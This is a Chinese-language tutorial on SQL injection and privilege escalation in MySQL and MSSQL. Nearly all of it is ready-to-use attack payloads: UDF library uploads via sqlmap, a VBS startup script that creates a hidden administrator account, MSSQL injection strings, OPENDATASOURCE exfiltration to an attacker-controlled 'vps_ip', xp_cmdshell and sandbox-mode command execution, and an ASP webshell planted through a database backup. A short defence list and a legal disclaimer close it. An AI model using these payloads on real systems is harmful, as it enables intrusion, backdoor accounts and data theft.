数据库注入提权总结(二)
字数 1124 2025-08-12 11:34:09
MySQL与MSSQL数据库注入提权技术详解
一、MySQL提权技术
1. MOF提权
原理:利用Windows系统定期执行C:/Windows/system32/wbem/mof/目录下MOF文件的特性,通过MySQL写入恶意MOF文件执行系统命令。
适用环境:
- 仅适用于Windows Server 2003
- MySQL需要有权限操作mof目录
限制:
- Win7即使以管理员权限运行MySQL也会写入失败
2. UDF提权
原理:通过自定义函数扩展MySQL功能,创建可执行系统命令的函数。
关键步骤:
-
确定插件目录:
show variables like '%plugin%'; select @@basedir; -
获取动态链接库:
- SQLMap自带位置:
sqlmap根目录/data/udf/mysql - Metasploit自带位置:
/usr/share/metasploit-framework/data/exploits/mysql - 需要解码:
python3 cloak.py -d -i ../../data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll
- SQLMap自带位置:
-
写入动态链接库方法:
- 方法一:SQLMap直接上传
sqlmap -u "http://localhost:30008/" --data="id=1" --file-write="/path/lib_mysqludf_sys_64.so" --file-dest="/usr/lib/mysql/plugin/udf.so" - 方法二:SQL语句写入十六进制
SELECT 0x7f454c4602... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so'; - 方法三:通过Webshell上传
- 方法一:SQLMap直接上传
-
创建与使用函数:
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'; select sys_eval('whoami'); drop function sys_eval;
3. 启动项提权
原理:利用MySQL写入Windows启动目录,系统启动时以SYSTEM权限执行脚本。
启动项路径:
- Windows 2003:
C:\Documents and Settings\All Users\「开始」菜单\程序\启动 - Windows 2008:
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
示例VBS脚本:
set wshshell=createobject("wscript.shell")
a=wshshell.run("cmd.exe /c net user test test123 /add",0)
b=wshshell.run("cmd.exe /c net localgroup administrators test /add",0)
通过MySQL写入:
use mysql;
create table test(cmd text);
insert into test values("set wshshell=createobject(""wscript.shell"")");
insert into test values("a=wshshell.run(""cmd.exe /c net user test test123 /add"",0)");
insert into test values("b=wshshell.run(""cmd.exe /c net localgroup administrators test /add"",0)");
select * from test into outfile "C:\...\Startup\secist.vbs";
二、MSSQL提权技术
1. MSSQL基础
系统库:
- 4个系统库:master、model、tempdb、msdb
- 2个示例库:NorthwindTraders、pubs
权限检查:
select is_srvrolemember('sysadmin') -- 服务器角色
select is_member('db_owner') -- 数据库角色
2. MSSQL注入技术
联合查询注入
关键步骤:
- 判断注入点及类型
- 判断字段数:
order by 3-- - 联合查询判断回显点
- 获取数据库信息:
union select 1,db_name(),@@version-- - 获取所有数据库:
union select 1,2,name from master.sys.databases where name not in(select top 1 name from master.sys.databases)--
报错注入
利用强类型特性:
and @@version>0-- -- 获取版本
and db_name()>0-- -- 获取当前数据库
and user_name()>0-- -- 获取当前用户
and (select name from master.sys.databases where database_id=1)>0-- -- 获取指定数据库
布尔盲注
示例:
and len(db_name())=4-- -- 判断库名长度
and ascii(substring(db_name(),1,1))=115-- -- 逐字符猜解
时间盲注
示例:
if(select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:5'-- -- 判断权限
if(len(db_name()))>40 WAITFOR DELAY '0:0:5'-- -- 判断库名长度
反弹注入
条件:
- 需要一台MSSQL服务器
- 开启堆叠注入
示例:
insert into opendatasource('sqloledb','server=vps_ip,1433;uid=user;pwd=pass;database=db').db.dbo.test select name from dbo.sysobjects where xtype='U' --
3. MSSQL提权技术
xp_cmdshell
启用与使用:
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
沙盒提权
原理:利用Jet引擎执行系统命令
步骤:
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("whoami")')
备份提权
原理:利用备份功能写入Webshell
步骤:
alter database 数据库名 set RECOVERY FULL
backup database 数据库名 to disk = 'c:\bak.bak'
create table test(str image)
insert into test(str) values ('<%execute(request("cmd"))%>')
backup database 数据库名 to disk='c:\inetpub\wwwroot\shell.asp' with differential,format
三、防御建议
- 最小权限原则:数据库服务使用低权限账户运行
- 禁用危险函数:
- MySQL:限制FILE权限,禁用UDF
- MSSQL:禁用xp_cmdshell等扩展存储过程
- 安全配置:
- MySQL:设置secure_file_priv为NULL
- MSSQL:关闭沙盒模式
- 输入过滤:对所有用户输入进行严格过滤
- 定期更新:及时安装数据库安全补丁
以上技术仅用于安全研究和授权测试,未经授权使用可能违反法律。